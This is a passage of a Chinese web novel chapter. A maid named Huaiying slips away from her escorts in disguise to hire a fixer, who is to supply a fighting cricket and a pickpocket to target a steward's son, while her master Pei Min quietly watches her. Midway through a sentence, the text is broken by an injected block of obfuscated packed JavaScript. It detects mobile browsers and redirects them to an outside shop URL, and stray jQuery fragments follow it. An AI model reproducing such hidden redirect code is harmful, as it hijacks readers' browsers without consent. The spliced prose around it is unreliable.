翌日,怀楹照旧服侍视裴悯。
只是一不小心在穿鞋的时候拿了两只颜色不同的袜子,磨墨的时候错把清水当成墨汁磨了半天,递茶时,误把漱口的茶盏当成了饮茶杯奉上。
裴悯自是注意到她的神色不属,若是以往,他早以冷脸发作,认定她是仗着汤氏撑腰,故意拿乔怠慢。
可偏偏今日,他心里明镜似的,知道她为何心神不宁,却只作不知。
怀楹满脑子都是如何打发柳三这个麻烦,哪里顾得上多想裴悯为何不曾责罚——只觉他今日和初见时一般和颜悦色,心里还暗暗松了口气。
接下来七日都是她守夜,夜里不必回住处,无需担忧会再次在夜里碰见柳三。
况且漱石院清净,没有吩咐,下人们轻易不会踏足。她须得在这七日内想出个万全之策来。
说来,这还是怀楹第一次给裴悯守夜。五个丫鬟轮值,一人七日,她排在第四。
今早布置外间的小藤榻时,她着实费了一番心思。
先在藤条上垫了一层浆洗得软熟的旧棉絮,又铺了一床半旧的藕荷色夹棉褥子,免得夜里翻身时滑开。
腊月里夜凉如水,不准备得妥帖些,怕是睡不安稳。
可这些精细的布置到底没能派上用场——怀楹睡不着。
她失眠了。
这一夜,两个人同处一室,却各怀心事,一个在里间,一个在外间,俱是睁着眼直到天明。
一连几日,怀楹都这般浑浑噩噩。
直到第三天的早膳,裴悯察觉到她的变化。
“爷,前儿备下的年节贴门的春联红纸,我今早翻出来,发现底下那叠受了潮,霉迹斑斑,印出来的字怕是要发花。我想着带两个婆子亲自上街挑一刀大红洒金纸回来,另请人写一副,也好赶在小年之前贴上。”
寻常高门大户,轻易不会让丫鬟独自出门。
一来,大户人家最重体面,丫鬟是签了身契的人,不是自由身,单独外出,恐有逃遁、私会、偷盗之嫌,这是主家最忌讳的。
二来,深宅丫鬟不懂外头人心险恶,万一被骗、被拐,回头出事还是主家担责、花钱赎人。
怀楹入府两年,出门不过五次,且次次都有婆子随行,这次自然也不例外。
裴悯知她必是要有所动作,偏故意使绊子:“这等琐事,打发小厮跑一趟便是。临近年关,扒手拐子都盯着热闹处,你一个姑娘家带着婆子,也未必稳妥。”
怀楹倒是没想到裴悯会阻挠她出门。
“爷,府里的小厮粗手粗脚,怕是做不来这等活计。”
就在怀楹以为裴悯不会松口时,他忽然笑出声来。清浅的目光落在她脸上,清隽温润,甚至透出几分慈和,眼底却藏着一丝好奇与探究。
“罢了,你且去吧。只是务必记着,莫要与婆子走散。另外,只需买红纸回来即可,不必请人代写。”
怀楹抬眼,微怔:“爷是打算自己写?”
裴悯淡淡应道:“自然。”
怀楹无心流连年景,脚下步子迈得又快又稳,径直往巷口那处春联摊子去。
那摊子支在避风的墙根下,竹竿横挑着一溜洒金红纸,墨色淋漓,写的都是“天增岁月人增寿”“春满乾坤福满门”的吉利话。
案上摆着裁好的大红纸、研得浓黑的墨,代写春联的老先生戴着一顶青布暖帽,一手按纸,一手握着狼毫,正听主顾念叨着自家的祈愿。
“姑娘,要副春联?”老先生抬眼,见她一身青缎夹袄,领口袖口滚着细巧的青绒边,是大户人家丫鬟的体面打扮。
怀楹敛衽一礼,语气平和:“只要一幅红纸即可。”
老先生捻须点头,也不多问。
许多朱门大户,家中都有考了功名的读书人,往往都是买了红纸回家自己写罢,这是常有的事。
怀楹接过红纸收好,付了银钱,道了声谢,转身离去。
后头跟着的两个婆子,都是有眼力见的老油条,连连上前来殷勤道:“姑娘仔细累着,让我们两个老婆子帮您拿吧。”
怀楹笑着摇摇头,道:“不必,今日还要多谢你二人陪我出来,日头还早,不如我请你们吃壶酒如何?”
今日出门她特意挑了陈婆子和叶婆子,素日里,这二人脾性乖觉,又贪杯好酒,找一街边酒肆将其安置,才好脱身办事。
两个老婆子都是人精,心知晴雪是个好相处的,脸上堆起更浓的笑。
叶婆子先开了口,嗓门亮堂,带着几分刻意学来的文气,却又囫囵吞枣串了样:“晴雪姑娘真是破费了!祝姑娘……祝姑娘‘天增岁月人增寿’,往后在府里,就像那灶王爷上天——尽言好事,步步都走得顺当!”
陈婆子也连忙凑上来,嘴里的话更是错得离谱:“是呢是呢!祝晴雪姑娘今年过年,保准像那春联上写的,啥‘上天言好事,下界保平安’!”
两人说完,还得意地对视一眼,自觉把方才街头听来的吉利话学了个十足,全然没察觉把祭灶的俗谚和春联的祝词搅成了一锅粥。
怀楹笑笑不说话,浑然不在意她们的阿谀奉承,过了这个年她可就不在府里了,哪还在意这些虚言。
三人转进拐角处青布棚子的酒肆,棚下飘着杏黄酒旗,“酒”字被风扯得猎猎作响。掌柜的是个红脸汉子,见有客来,连忙提着酒提子迎上来:“三位要点什么?”
怀楹往条凳上一坐,指尖轻点桌面:“打两壶热酒,再切一碟卤豆干、一碟炒花生。”
掌柜应着,动作麻利地把两壶热酒并着两碟小菜端到桌来,又拎了一壶滚水:“姑娘慢用,要添酒再喊我。”
陈婆子和叶婆子哪里还耐得住,忙不迭地端起酒碗抿了一口,又夹起卤豆干嚼得咯吱响,嘴里啧啧称赞:“这酒暖得很,卤味也地道,姑娘真是会挑地方!”
怀楹看着她们一杯接一杯地喝着,等两人喝得脸颊泛红、话也多了起来,才按着小腹,眉头微蹙,“两位嬷嬷慢用,我这肚子忽然有些不适,得去巷尾的茅厕方便一下,去去就回。”
陈婆子正嚼着花生,含混道:“姑娘快去吧,我们俩在这儿等着,哪也不去。”
叶婆子也摆着手:“是呢,年关的东西杂,许是吃坏了,姑娘仔细些。”
怀楹点点头,又叮嘱道:“你们且在这儿坐着,别乱跑,免得我回来找不到人。”
两人满口应下,眼睛却黏在酒碗上,哪里还顾得上别的。
怀楹转身走出酒肆,脚步越迈越快,径直拐进巷尾那处茅厕。
反手闩上木门,那间逼仄的小隔间便与外面的喧嚣彻底隔离开来。怀楹指尖飞快地解了青缎夹袄的盘扣,从贴身的夹层里摸出那套青布短打。这是她趁夜深人静时,一针一线缝出来的男子衣裳,针脚虽不算齐整,却胜在轻便利落。
她将青缎夹袄叠好塞进角落的草堆,再把那套短打往身上一套。又抬手将鬓边的碎发捋到脑后,没了钗环的点缀,那张本就清秀的脸,此刻竟添了几分少年人的英气。
低头瞥见墙角堆着的炉灰,她伸手捻了些,往脸颊、下颌细细抹开,原本白皙的肤色顿时蒙了一层灰。
怀楹对着路面上的小水坑照了照,水面虽然模糊,却也足够确认自己活脱脱是个跑街的小厮模样,再无人能认出她是晴雪。
顺着巷口的青石板路,转进一条更窄的暗巷。巷底那间挂着“代笔书信”木牌的小铺子,是她早早就打听好的地方。
掌柜的姓马,人称“马半仙”,明面上代写书信、算卦测字,暗地里却是应天府里有名的“揽事人”,只要银钱给得足,没有他办不成的事。
这些门路,并非她一时撞来。自穿越到这大齐朝,屈指已是两年。这两年里,她在裴府做着丫鬟,人前安分守拙,人后却从不敢半分松懈。府里小厮、婆子凑堆闲聊时,她都会凑在一旁听着——谁家铺子暗地里能办事,哪条路直通城外,哪类人最是要钱不要命……这些旁人只当闲话的碎语,她都一一记在心里,只为将来赎身出府,能多几分活命的底气。
掀开门帘进去时,马半仙正就着油灯翻一本泛黄的账册,见进来的是个灰头土脸的小厮,眼皮都没抬:“要写信还是算卦?”
怀楹压低声音,语气却稳:“掌柜,我要两样东西。第一,一只品相顶尖的蟹壳青蛐蛐,要善斗能赢的;第二,一个手脚利落的扒手,听我号令行事。”
马半仙这才抬眼,上下打量他一番,“蟹壳青不好寻,顶尖的更是金贵。扒手的活儿也分轻重,你要偷谁的钱?”
“蛐蛐今夜三更,送到裴府西院的老石榴树下,我自会去取。”怀楹从袖中摸出一锭碎银,拍在案上,“至于扒手,目标是裴府柳管家的儿子柳三,具体时机我再传信。这是定钱,事成之后,还有重谢。”
马半仙掂了掂银子,脸上堆起笑:“小哥放心,蟹壳青保管是城南斗虫场里挑出来的头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797533|210550||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
筹,扒手也是我手里最利索的一个,绝不会出岔子。”
商定好后,怀楹转身出了铺子,换回那身青缎夹袄,匆匆忙忙跑回酒肆。
两个婆子见她去得久,就站在酒肆旁的巷口里张望,见人回来,连忙迎了上去。
怀楹脸上满是歉意,按着小腹轻咳了两声:“对不住二位,方才在茅厕里闹了肚子,耽搁了这么久,让你们久等了。”
陈婆子摆着手道:“姑娘说哪里话,谁还没个不舒服的时候,我们俩在这儿晒晒太阳也挺好。”
叶婆子也跟着附和,眼神里却带着几分催促:“就是就是,咱们快回府吧,这天儿眼看着都日上三竿了,晚了怕是要挨管事的骂。”
怀楹点头应是,跟着两人往裴府的方向走,心里却在盘算着三更时分的接应。
-
想出破局之法后,怀楹心里轻快了不少,办事也恢复了往日的伶俐。
午后,裴悯在书房亲自写春联。
他沉吟片刻,蘸了蘸朱砂墨,笔锋悬在纸上方,却又顿住。
怀楹不发一言,默默在一旁当木头人。眼前这位可是登科及第的状元郎,她要是班门弄斧提什么建议,没得让人笑话。
须臾,裴悯转头问她,低沉清润的声音夹杂着笑意:“你说我这对联上写什么好?”
怀楹不知裴悯葫芦里卖的什么药,只捧他道:“爷是读书人,只管写一些吉利话都是好的。”
闻言,裴悯蓦地嗤笑一声:“你只管回答,不必逢迎我。”
心中无语凝咽,怀楹只得把今日在春联铺子看到话背诵出来:“爷不如写‘天增岁月人增寿,春满乾坤福满门‘?”
裴悯眉峰微挑,似是对她这直白的“照搬”有些意外,“前人写的春联确是好,只是用得太滥,少了几分新意。”
这段时日相处,怀楹早知裴悯心高气傲,与寻常读书人一样眼高于顶。若说不同,他确实有这般资本。
被他否决,她也不恼。
当今圣上多疑多思,朝中官员不论在京外放,皆有锦衣卫暗中监视,今日一言一行,次日便可能直达御前。
士大夫人人谨小慎微,唯恐一语不慎触怒天颜。
裴悯思索一番后,笔锋终于落下,墨色在红纸上晕开,字字遒劲。
【花好月圆人寿时和岁丰季年】
搁下笔,裴悯将那副墨迹未干的春联推到怀楹面前。
“拿去吧。”他语气平淡,“贴在正厅廊下。”
怀楹小心叠好春联,由衷感叹道:“爷的字,比春联铺子的先生写得还好。”
裴悯抬眼,却没像往常那样驳回她的话,只淡淡笑道:“别又逢迎我。”
-
是夜,怀楹躺在小塌上,心中默默数着时间。
估摸着时机差不多,她披上衣裳,悄悄溜出房门。
今夜仍是她值守。依往日情形,裴悯夜里极少传唤丫鬟,但以防万一,她必须速去速回。
裴府西院离漱石院和她的住处都很近,这也是怀楹让人将蛐蛐放在此处的原因。
怀楹提着一盏小小的羊角灯,悄声穿过几重月洞门。
她脚步极浅,一路往西院的老石榴树而去。
树影婆娑,虬结的树根旁,果然静静放着一只素陶蛐蛐罐,罐口蒙着细纱,里面隐隐传出“瞿瞿”虫鸣。
怀楹蹲下身,小心将那蛐蛐罐捧在手里。
时间紧迫,她没多停留,确认四下无人后,便抱着罐子,直直往住处跑去。
她与汀兰的屋子是在最里处,平日里除她二人以外,无人会来,故而将其藏在门前的假山石缝中,最为稳妥不过。
办好这一切后,怀楹又脚步匆匆跑回漱石院。
穿过夹道,刚踏上垂花门内的青石板甬道,便迎面撞上一道清隽挺拔的身影。
怀楹手中的灯一晃,暖黄的光晕恰好落在那人身上——裴悯立在灯下,一身月白寝衣外罩了一件螺子黛暗纹棉褙子,领口松松挽着,墨发只用一根玉簪束起,几缕碎发垂在额前,衬得眉目愈发温润。
来人唇角微扬,笑意浅淡,可怀楹却莫名心头一紧,指尖攥得发白,连呼吸都放轻了几分。
“爷……”她低头屈膝行礼,声线里带着一丝不易察觉的颤意。
裴悯的目光先落在她手中的羊角灯上,又慢慢移回她脸上,笑意未减,声色温缓:“这么晚了,在这里做什么?”